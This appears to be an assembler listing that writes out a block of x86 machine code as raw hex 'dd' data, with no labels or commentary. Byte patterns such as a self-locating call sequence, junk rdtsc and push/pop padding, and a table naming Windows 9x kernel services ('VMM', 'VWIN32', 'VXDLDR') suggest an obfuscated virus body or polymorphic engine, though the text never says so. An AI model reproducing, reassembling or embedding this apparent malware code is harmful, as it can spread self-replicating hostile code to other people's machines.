		dd 0F456C356h, 1B36D6A6h, 858915DEh, 5E42869h, 1B8D0Fh
		dd 890F0000h, 15h, 10E9h, 38237300h, 79B713E2h,	2C78BC76h
		dd 3B16FB0Dh, 0F5C02BCBh, 2824548Bh, 1880FF9h, 0FC000000h
		dd 1A5D8589h, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0D303E8C3h, 666010ECh, 9D29FA8Bh
		dd 5E41D51h, 3CBEF961h,	0F8000000h, 24247403h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8AC35545h, 6D8D3160h
		dd 6605E409h, 858B60ADh, 5E410C9h, 36195B3h, 6A242444h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0E702C353h, 890F98BDh, 7,	1860Fh,	89F90000h
		dd 0E412FD9Dh, 860F9005h, 0Ch, 68E0Fh, 8F0F0000h, 0
		dd 50525050h, 0F525052h, 0F585A31h, 870F31h, 5A000000h
		dd 0F310F58h, 68Bh, 870F00h, 5A000000h,	0E8609058h, 8
		dd 2DC09768h, 775196D3h, 5F75E880h, 61D6B70Fh, 32C5BD29h
		dd 408B05E4h, 0BF0F6078h, 0BD8361D1h, 5E76D08h,	34850F00h
		dd 0E9000001h, 0Fh, 8DA1AF80h, 0EF406B4Fh, 0A4077446h
		dd 506504A0h, 8E0F5250h, 15h, 10E9h, 0F8B60400h, 0D83EC648h
		dd 58A0A8F5h, 0AE93DD04h, 0E9310FA8h, 11h, 0AF1EB8FDh
		dd 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h, 89585A55h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 2D4B36C3h, 0F60117Ch, 689h, 0F5BD8B00h, 905E416h, 0E4267585h
		dd 8BF56105h, 6A2C2444h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E966C353h,	0Eh, 0DB3B86C7h
		dd 601D4FBh, 0AB46DC1Fh, 0E9908E76h, 0Fh, 12AD9ECh, 0DFD5CDBCh
		dd 5A8F679Bh, 507A86D4h, 8E9h, 0F699CB00h, 6C7ECAA2h, 6A9043h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 672782C3h, 37FA6F9Bh, 15B58909h, 0F05E400h, 0A81h, 0BD296000h
		dd 5E41CF9h, 8D616160h,	0E73AAC85h, 0C860F05h, 0F000000h
		dd 681h, 5852900h, 0FF05E420h, 319D89D0h, 305E404h, 6A282444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0A755C352h, 0B7B97EE1h, 890F604Fh, 12h, 0DE9h
		dd 11988200h, 773E1F58h, 7399AED2h, 0B70FEBF9h,	5E961C1h
		dd 0E000000h, 32AAB3ADh, 0F518408Bh, 859D8940h,	8905E40Dh
		dd 0E76D0485h, 0BE905h,	56A10000h, 92A91B8h, 3FFF91Fh
		dd 6E918h, 0A8D70000h, 0BCDC7DF2h, 81666058h, 600BA3DFh
		dd 2AA58589h, 616105E4h, 6A78708Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0FEEEC353h
		dd 137387Eh, 0E42B359Dh, 0DE905h, 0E7AE0000h, 9F46D819h
		dd 0F191216Dh, 600C497Eh, 4E28166h, 35BD8986h, 6105E416h
		dd 6A1CC683h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0DA42C351h, 6A96F5h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0CE922C3h
		dd 0F1000000h, 0AE441AA4h, 313BC49Bh, 0F6A0F2Eh, 128Fh
		dd 0DE900h, 0DA690000h,	0F7D619DDh, 40FC2DCBh, 81EA3096h
		dd 24247Ch, 0F100000h, 0E787h, 0C860F00h, 0F000000h, 68Fh
		dd 5952900h, 9005E417h,	8870Fh,	66600000h, 60ACCCBAh, 60506161h
		dd 8E8h, 559CBD00h, 0B97EE1A7h,	9E9B7h,	0D7F60000h, 40094577h
		dd 5FAB77DDh, 0EEC7BE66h, 6A9061h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 67415CC3h, 0F600285h
		dd 0BF66DFB7h, 8B6173A7h, 0E9282444h, 10h, 0D43EAA47h
		dd 0DF4AAB5Ah, 3B9966E6h, 0ADC4B5F4h, 0E9525050h, 13h
		dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh,	0F630E6Eh
		dd 0EE931h, 243B0000h, 9A350C25h, 72215CBAh, 6E588A4Dh
		dd 489585Ah, 0A5B50924h, 8D05E424h, 0E73AAC85h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0F8D0FF8Dh, 57006A96h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0C1C350A0h, 0E974D74Dh
		dd 7, 9BD4253Ch, 0E98347DAh, 14h, 4F943AA8h, 8A871C08h
		dd 4A92E00Ah, 0C350A0B0h, 74D74DC1h, 24247403h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h, 0DCC0E028h
		dd 0FC513411h, 31BDBD8Dh, 6A05E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 868286C3h, 5C8CAC88h
		dd 8B605273h, 0DB501F8h, 6105E41Ah, 505360ADh, 61F95F5Fh
		dd 24247C81h, 10000000h, 126870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B7A34AC3h
		dd 9A06C209h, 503FD52Dh, 12830Fh, 52500000h, 860Fh, 310F0000h
		dd 310F5250h, 585A585Ah, 0F240489h, 683h, 71BD0100h, 8B05E427h
		dd 0F282444h, 0C89h, 68D0F00h, 29000000h, 0E40FE595h, 81666005h
		dd 897AC6D0h, 0E4110985h, 60906105h, 0BF665250h, 310F656Fh
		dd 585AE28Ah, 8B0F5061h, 12h, 52505250h, 585A310Fh, 830F310Fh
		dd 0
aZxrj		db 'ZX░j',0
		db 51h,	0E8h, 3
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 8102C351h, 6E9h, 5DC38C00h, 89A32B77h, 0E4313D95h, 95316005h
		dd 5E41F9Dh, 32B9858Bh,	8D6105E4h, 0E73AAC85h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0AD2C18A9h, 0CEF6DDF9h, 0BD897801h, 5E40889h, 2759B529h
		dd 0D0FF05E4h, 13E9h, 0AB9FB00h, 557036FDh, 0E758C953h
		dd 84D7893h, 8B590EAh, 24244403h, 10E860h, 8D590000h, 1312A8F7h
		dd 0E5B71FA7h, 0EB294377h, 8D8998D8h, 5E43101h,	860F5Eh
		dd 61000000h, 658D29ABh, 0FC05E411h, 0FA81h, 820F0001h
		dd 6DDh, 0CC5BD89h, 0BD8D05E4h,	5E41E09h, 8160ADF5h, 770F62F0h
		dd 0F9BA6639h, 7C816199h, 2424h, 870F1000h, 0EFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h, 6B11DDA2h
		dd 91850912h, 5005E42Dh, 0AE9h,	35C98600h, 3E859BB5h, 8967AB1Dh
		dd 0CE92404h, 17000000h, 0B9677558h, 0E28155Eh,	896E8EF5h
		dd 0E42D5DBDh, 24448B05h, 0FE9F828h, 3C000000h,	0DBB90A5Dh
		dd 0E010CD1h, 392F7F4Ch, 50908F25h, 0C18A6052h,	310F5250h
		dd 0F61585Ah, 68D0F31h,	0F000000h, 82h,	50585A00h, 6E9h
		dd 19CF8D00h, 90C23E70h, 0AC858DF8h, 6A05E73Ah,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0F168C350h, 5F0ED217h, 799D2B60h, 0E905E42Ah, 0Ah, 5B676743h
		dd 8EAA7786h, 961C155h,	0E4176595h, 8890F05h, 0F000000h
		dd 280h, 0FF616000h, 0F99D89D0h, 305E431h, 0E9242444h
		dd 0Eh,	0C8505F82h, 0B1DB59E1h,	0BBF3C53Fh, 0F909CE7h
		dd 0C8Fh, 7E900h, 928D0000h, 0EE494035h, 8A6050DDh, 860FDEh
		dd 61000000h, 5D952990h, 0AB05E426h, 251D9501h,	0BD8D05E4h
		dd 5E4179Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0FDC35747h, 1A56432Eh, 0EF6128EEh, 0DE9h, 72869C00h
		dd 20BB1EACh, 6C841723h, 8E9D5E1h, 66000000h, 3F8653FCh
		dd 0AD9E0B00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	1AC35747h, 7EA890Dh, 35BD898Ah,	8105E427h, 28247Ch
		dd 0F100000h, 12287h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B649F8EDh, 0F17D596Bh
		dd 0CE94212h, 0EC000000h, 6D1A1F14h, 3D52A2AEh,	50639CC3h
		dd 0C860Fh, 840F0000h, 6, 810Fh, 4890000h, 50006A24h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 1287F4FDh, 8B43B888h, 6A2C2444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 907BC357h
		dd 11E95250h, 64000000h, 0BE2E7E7Ch, 0DCE1D5C7h, 8822A560h
		dd 71060B28h, 5250310Fh, 8E9h, 2F124C00h, 55904AF2h, 50310FF3h
		dd 5A310F52h, 5A585A58h, 11E95058h, 29000000h, 0C3CA593Eh
		dd 0B6EED83h, 0F47F6B9Ch, 34891F19h, 9D853190h,	8D05E42Ah
		dd 0E73AAC85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4561DE4Fh, 303BE573h
		dd 0FBB96099h, 89081AA6h, 0E41225BDh, 0D0FF6105h, 0F59D89F5h
		dd 305E411h, 89282444h,	0E41D69BDh, 6AAB05h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1F0E92C3h
		dd 47497B54h, 0F28B6660h, 2759B589h, 0F96105E4h, 48DFF5Eh
		dd 8305E76Dh, 0E76D04BDh, 0A750005h, 0B58DC033h, 5E77B9Dh
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 3AAC858Dh, 0D0FF05E7h, 28244403h, 8ADF8B97h,	0E76D0085h
		dd 74C08405h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 5D85FF04h, 0E905E41Ah, 0FFFFFF5Dh
		dd 49BD895Eh, 6005E426h, 115D850Bh, 0F86105E4h,	0AE9h
		dd 24D5B000h, 0A1CE56CFh, 8B9F797Eh, 0E41A5D85h, 0DE905h
		dd 0DB930000h, 0DC9DDE13h, 641EDDCh, 0D106B45Fh, 52006AE0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0F4286B97h, 0B2CBF600h, 1FD18589h, 850305E4h, 5E4179Dh
		dd 2B898509h, 0BE05E4h,	29000000h, 0E42405B5h, 6A9605h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 561823C3h, 0BD29F8D1h, 5E400DDh, 6AAD66h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E0C109C3h
		dd 56006A02h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0ACADB1D9h, 0F0ACCC43h, 0F0815360h, 48D4FC4h
		dd 0C081665Ah, 361620Ch, 0E431BD85h, 0F96FC05h,	183h, 0FADF800h
		dd 1888h, 13E900h, 0C0910000h, 0D3C5A67h, 2479F50Bh, 5E7B73B3h
		dd 0D8A1A0A7h, 247C817Eh, 24h, 0E9870F10h, 0F000000h, 683h
		dd 0F19D8900h, 9005E431h, 61F98B60h, 0E9525050h, 9, 46B38904h
		dd 0E5B5F7F0h, 50310F0Dh, 8C0F52h, 0F000000h, 800F31h
		dd 5A000000h, 90585A58h, 24448BFCh, 50006A28h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0BAACAECFh
		dd 314892FEh, 0E42101BDh, 860F9005h, 0Ch, 6840Fh, 8C0F0000h
		dd 0
		dd 0D820F50h, 0E9000000h, 8, 0D834125Bh, 2B7F681Bh, 11E9FC90h
		dd 0EA000000h, 14ABECBCh, 15C3848Ch, 6806803Bh,	0B46D18A0h
		dd 3AAC858Dh, 860F05E7h, 6, 1BF19589h, 0D0FF05E4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DCC35141h, 8469CA5Fh
		dd 0F7F9E7CEh, 2318589h, 8D8905E4h, 5E40805h, 24244403h
		dd 10DDB501h, 448905E4h, 6A1C24h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 85C64AC3h, 5E42A49h
		dd 7285C700h, 5E76Eh, 0C7000000h, 0E76D0885h, 5, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6AD1A785h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0D15CC350h, 0FBAF70Fh,	88Ch, 2810F00h
		dd 60000000h, 0B9858961h, 6105E422h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A0C35545h,	5A98757Bh, 819D89F7h
		dd 0F05E425h, 68Ch, 499D8900h, 0F805E421h, 6A0008C2h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0AF42C350h, 0BD858B13h, 6A05E431h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9A1C353h
		dd 30BC6E84h, 9D895B90h, 5E4086Dh, 50006A4Ah, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 1DBD09CFh
		dd 6005E431h, 30BE6652h, 9D895B6Fh, 5E40205h, 4D26B61h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 22C35040h
		dd 911F71C2h, 0F8705567h, 9509C203h, 5E430B5h, 8D8B6096h
		dd 5E42649h, 27999D89h,	0AD6105E4h, 13E9h, 0B9CEFE00h
		dd 97DECD67h, 23362EE6h, 0CC3B114Dh, 77146424h,	24247C81h
		dd 10000000h, 118870Fh,	8D890000h, 5E41C95h, 14E990h, 39A20000h
		dd 7F5A10D2h, 4B6282Dh,	9F51B23h, 0A22EDA90h, 6050EBD2h
		dd 0CCBFB966h, 0FB84BE66h, 0E9FC9061h, 0Fh, 0AE8A9379h
		dd 29AF5801h, 0DCC28FDFh, 8B281C1Bh, 6A282444h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 52F7C351h, 3C52BB60h, 525050F8h, 0FE960h, 0A3600000h
		dd 47F07685h, 0B1417EB9h, 0E2D339A5h, 10BB666Ch, 310F61B4h
		dd 6E95250h, 0E1000000h, 87DB17C0h, 0F310FC3h, 87h, 5A585A00h
		dd 24048958h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	0B9C35242h, 29682F6h, 95858928h, 8D05E430h, 0E73AAC85h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 7190E631h, 0F436197Dh, 0F6022C6h, 68Fh
		dd 0B5BD0300h, 0F05E423h, 28Dh,	615B5700h, 7E9D0FFh, 0C8000000h
		dd 0E835CAE3h, 31E9EFD8h, 1FFFFFDh, 0E41FC995h,	68858D05h
		dd 6A05E781h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3987C350h, 1F9260Dh, 0E402B595h
		dd 52505005h, 28F0Fh, 61600000h, 5060310Fh, 5A310F52h
		dd 9E958h, 0B2200000h, 81E6505Dh, 6187ED72h, 489585Ah
		dd 0BE924h, 0A0BA0000h,	89B37Ah, 7DB51F75h, 35FF64B5h
		dd 0
		dd 48BF9FCh, 8589FC24h,	5E41771h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 98C35343h, 8529BB93h, 5E41F15h
		dd 258964h, 0FC000000h,	7FAF858Dh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 7354D7C3h
		dd 108F0F4Ah, 0E9000000h, 0Bh, 30B4E1BDh, 39115BB8h, 89112427h
		dd 6A0160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 412929C3h, 228E9AAh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B2F9B8C3h
		dd 0FE9409Ch, 0D3000000h, 0F16C7455h, 9A0E27F3h, 94A094A5h
		dd 0DB8B1E7Dh, 0E8h, 0ED815D00h, 5E77FA8h, 12FF9CBCh, 0DDBD8300h
		dd 5E430h, 858B1874h, 5E41191h,	8B0000C6h, 0E41FED85h
		dd 0C605h, 24195FFh, 0FF6005E4h, 0E7690CB5h, 10858D05h
		dd 5005E769h, 6B08858Dh, 0FF5005E7h, 0E427D595h, 0CC48305h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 268F0344h, 379BD89h, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0CB52D8C3h
		dd 419B31FEh, 12E924h, 27780000h, 8D7B58BDh, 511AFB11h
		dd 8EEB87F3h, 0D6548CC4h, 6B08B58Dh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2AD8BDC3h
		dd 0F69A399Ah, 0F8B392Dh, 683h,	55852900h, 8D05E416h, 0E40501BDh
		dd 618D8905h, 8005E424h, 840F003Eh, 59h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 27C35343h, 399BD09h
		dd 0F5A405E4h, 0FFFFCEE9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 890B1F8Bh
		dd 0E4106D9Dh, 6830F05h, 1000000h, 0E4075585h, 60C02B05h
		dd 0AA61FCFCh, 1EC8A60h, 0E4176595h, 7B86105h, 0E9000000h
		dd 0Bh,	57C7203Fh, 40701B40h, 0C7E4537Ah, 0E4154985h, 105h
		dd 8D8DF800h, 5E44C30h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E8C35646h, 0FF98F5Ch, 173B728Fh, 8B66606Ch
		dd 0E1FF61F7h, 8E9h, 0E1CB9B00h, 8F94FA7Ah, 245C8B21h
		dd 0E8550Ch, 5D000000h,	8172ED81h, 838B05E7h, 0B8h, 690C8589h
		dd 858D05E7h, 5E77FA1h,	0B88389h, 335D0000h, 6AC3C0h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0EA4E5EC3h, 0D3119566h, 0B509391Ah, 5E408DDh, 10890Fh
		dd 850F0000h, 0Ah, 5E9h, 0C60CC000h, 6A60038Ah,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 117EC352h, 9857AF06h, 490F3CCh, 18D0Fh, 8DF80000h, 0E783CA85h
		dd 0DE905h, 6F9F0000h, 7B67473Eh, 409BAAD2h, 903C9A3Fh
		dd 10E9h, 65DAE100h, 535FBBCBh,	6331D63Bh, 8733868Fh, 0F6050ABh
		dd 585h, 8901BA00h, 3EB87D04h, 616BA0A9h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0CE95Fh, 9F690000h, 0BAD45E56h, 0AB7E4356h, 0B5019CCEh
		dd 5E40485h, 35FF64h, 0E9000000h, 0Ch, 40938F16h, 22052E87h
		dd 836C528h, 327DBD89h,	896405E4h, 25h,	0E8F0F00h, 60000000h
		dd 1049BD8Bh, 9D8B05E4h, 5E414EDh, 5F858D61h, 0F505E784h
		dd 1AE99589h, 608905E4h, 4D9D2901h, 0C605E424h,	0E42A4985h
		dd 95314F05h, 5E42A69h,	70B26668h, 0F5250F1h, 68Ch, 840F00h
		dd 0F000000h, 0F525031h, 84h, 50310F00h, 5A310F52h, 5A585A58h
		dd 24348158h, 0FB8C64Ch, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 47C35040h, 8E428F5Fh,	953179BDh, 5E41789h
		dd 26F5B5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9D2940C3h, 5E4254Dh, 9E9h, 0BF186200h
		dd 96DC0FB0h, 858D66F4h, 5E76D30h, 6AD0FFFCh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C9C1C357h, 0AA36972Eh, 58235347h, 0CBE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 5A457ED5h, 0C56F2C92h, 0DE923h, 90EA0000h, 0F46208B5h
		dd 6D63AF52h, 8B67E99Dh, 550C245Ch, 0E8h, 0ED815D00h, 5E783D4h
		dd 28E5858Bh, 858905E4h, 5E426F5h, 2379858Bh, 858905E4h
		dd 5E43185h, 0FB9858Bh,	858905E4h, 5E40375h, 2A4985C6h
		dd 0C70005E4h, 0E76E7285h, 5, 5F858D00h, 8905E784h, 0B883h
		dd 0C0335D00h, 53006AC3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 41D68B99h, 19852959h
		dd 0E905E417h, 12h, 0C873924Bh,	762E260Ah, 7306ED4Bh, 9DEC2EFCh
		dd 0F8F83612h, 12FF74BCh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0BC564D06h
		dd 1A016058h, 51BD89h, 6E905E4h, 0C3000000h, 0CFFDEDA0h
		dd 58F6489h, 0
		dd 60FAB360h, 3D8D89FCh, 6105E41Bh, 4C48361h, 70DBD89h
		dd 0E86105E4h, 0Ah, 1EE1C7CAh, 78D38F56h, 8159EF0Dh, 67D9C1h
		dd 0A5B58B00h, 6805E424h, 19D7h, 759D8B60h, 6605E411h
		dd 6172C0BFh, 31B5895Bh, 8B05E417h, 0F9BF0F01h,	5FDE881h
		dd 0BD8B66F4h, 5E40D95h, 9787E881h, 8B6008DFh, 2D858BF3h
		dd 6105E42Ch, 0EB85F081h, 0BF66080Ch, 0B5052B6h, 0E4299DB5h
		dd 0F018F05h, 80h, 2E98300h, 81F54949h,	1EBh, 0B4850F00h
		dd 29FFFFFFh, 0E41C898Dh, 4934EB05h, 474D5346h,	56202052h
		dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h
		dd 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 724h, 0DE9h, 36615100h, 0FF6B1C0Ch, 9AF4AA85h
		dd 0F5609CE3h, 6685C7F8h, 5E785h, 0F000000h, 1481h, 0FE900h
		dd 352D0000h, 27AC71B1h, 0EB8FFEE1h, 65509256h,	6AC68BC9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 8BEDC353h, 0FCABD7DAh, 0FCD8B70Fh, 6A10E8C1h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7684C353h, 9CB660FCh, 0C8C16661h,	8589FC08h
		dd 5E7856Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	63C35343h, 592F1FCFh, 0CBC16669h, 8820F08h, 0F000000h
		dd 284h, 83616000h, 850F40FBh, 42h, 6E9h, 0EE1B2600h, 8D2E741Fh
		dd 0E7853EBDh, 0B1E9F905h, 6A000001h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B709C352h
		dd 0E935D49Fh, 6, 0F8466B05h, 0FB83F878h, 33850F0Dh, 0F5000000h
		dd 0EE9h, 1B05100h, 0EF721BCAh,	999B498h, 8DB39FACh, 0E78546BDh
		dd 1800F05h, 0F8000000h, 157E9h, 0F7816000h, 48BFDAFh
		dd 9826B9BEh, 0FB836104h, 54850F01h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8DCAC350h, 0E7854EBDh, 860F6005h, 0
		dd 97F08166h, 0DE9618Dh, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AE7DC351h
		dd 83B333F2h, 850F2AFBh, 84h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0C3C35646h,	891A609h, 66D9B160h
		dd 1BF8C781h, 0CFBE6061h, 5211851Ah, 59CA8B66h,	56BD8D61h
		dd 0E905E785h, 14h, 0F3D63D77h,	47DF7182h, 5409D14Eh, 77FDA53Dh
		dd 4E005C4Bh, 1880Fh, 0E9F90000h, 84h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E5C35242h,	81F75CF0h, 3F7DA711h
		dd 0F27FB83h, 35285h, 6E900h, 0CEC20000h, 4436A995h, 6800F60h
		dd 0F000000h, 85h, 5FE78100h, 6163A340h, 855EBD8Dh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0E3278EC3h, 2E94FB9Bh, 890FAF74h, 7,	1840Fh,	0F8F80000h
		dd 856EBD89h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 5E2C53C3h, 6734CFD2h, 66605C1Eh
		dd 0E9402ABAh, 11h, 0EF6D95AAh,	0F29D0C0Dh, 0F7E1BEC0h
		dd 617654ECh, 8C66616Dh, 890F60C8h, 6, 0DCCAF681h, 880F1596h
		dd 2, 24616160h, 50006A03h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B2234DD5h, 32717F0Eh
		dd 0C00ADAD6h, 1B0850Fh, 81600000h, 197050DFh, 0B58D6162h
		dd 5E78B4Eh, 0BE9h, 0CBA81600h,	9CECFFBCh, 0C3EE777Ah
		dd 8BD9858Bh, 0F6005E7h, 381h, 8CDE8000h, 5D27BB66h, 78A0F61h
		dd 60000000h, 60F2BF0Fh, 0E9506161h, 13h, 77A285C7h, 23F8A7A6h
		dd 0CBB4326Fh, 82B9C348h, 891A7B6Fh, 0FF82414h,	188Eh
		dd 5E566000h, 0FE9h, 89CAFF00h,	0C4A66C9h, 0DFA61F50h
		dd 9169F162h, 4C010F61h, 6AFE24h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 85CE32C3h, 0FD8CFBF3h
		dd 0F8B5298h, 1082h, 0BE900h, 76780000h, 1FBCEBADh, 92DC2B72h
		dd 6A5A8Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8375FAC3h, 816024C2h, 1BC738E3h, 71F08121h
		dd 61693AEEh, 0FC728966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 75C35545h, 89249F07h,	0CEC1DA93h, 50006A10h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0F4C5F662h, 5CB9D5AFh, 728966EEh, 840FF902h,	1, 6A04CDF5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6F43C351h, 124EB6D2h, 8E9h, 7B9E0E00h, 0B3C4D39Bh
		dd 830F6013h, 6, 0CA29DE81h, 0F8615333h, 0BDE9h, 0BE86000h
		dd 9E000000h, 0B2974AF3h, 0E33704BAh, 8166146Bh, 5F3746D9h
		dd 0FA8B6660h, 6E8h, 0AE0CA800h, 5F388473h, 858B6161h
		dd 5E78BD9h, 7E9h, 0F440100h, 812F3720h, 8B4EB58Dh, 6A05E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 89A91EC3h, 41976F6Eh, 0D3B76060h, 0F39B07BFh, 31B16108h
		dd 58858D61h, 6A05E745h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E957C351h,	0F9593499h
		dd 0C830Fh, 0F600000h, 87h, 62BE6600h, 0D0FF61A1h, 0DE9h
		dd 4313CE00h, 2391E3A5h, 0DF005316h, 8589CC1Ch,	5E78566h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E5C35242h
		dd 9847D953h, 6118269Ch, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 1EC35141h, 0E9205336h, 8, 0B6CA6AC3h
